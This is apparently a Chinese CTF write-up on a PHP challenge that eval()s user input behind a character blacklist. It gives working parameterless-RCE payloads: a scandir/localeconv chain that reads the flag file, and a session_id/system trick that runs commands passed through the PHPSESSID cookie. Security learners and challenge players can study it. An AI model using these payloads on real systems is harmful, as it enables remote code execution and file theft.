if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
考点:无参数RCE
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,’c’),不能带参数。
这个地方ban的括号是假的…,中文括号,因此带括号的函数都能用。但是过滤的东西还是非常多,常用的*
、$
、'
、"
、`
都被ban掉了。因此要想其他办法了
我TM直接查看hint
show_source(next(array_reverse(scandir(pos(localeconv())))));
GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id()); passid=ls
看样子是构建一个session,然后执行系统函数讲session_id的参数执行
一个一个函数分析吧
pos() // 输出数组中当前元素的值
localeconv() // 函数返回一包含本地数字及货币格式信息的数组。
// localeconv() 函数会返回以下数组元素:
// [decimal_point] - 小数点字符
// [thousands_sep] - 千位分隔符
// [int_curr_symbol] - 货币符号 (例如:USD)
// [currency_symbol] - 货币符号 (例如:$)
// [mon_decimal_point] - 货币小数点字符
// [mon_thousands_sep] - 货币千位分隔符
// [positive_sign] - 正值字符
// [negative_sign] - 负值字符
// [int_frac_digits] - 国际通用小数位
// [frac_digits] - 本地通用小数位
// 这里pos() 拿到了 "."
// 因此构造出了 sacndir('.')
scandir() // 获取目录下的文件
array_reverse() // 以相反的顺序返回数组 第二个元素变为flag
next() // 返回数组中下一个元素 这里返回flag
show_source() // 函数对文件进行语法高亮显示 等同于highlight_file()
OK,拿到了flag
豫ICP备20003564号-1 / shng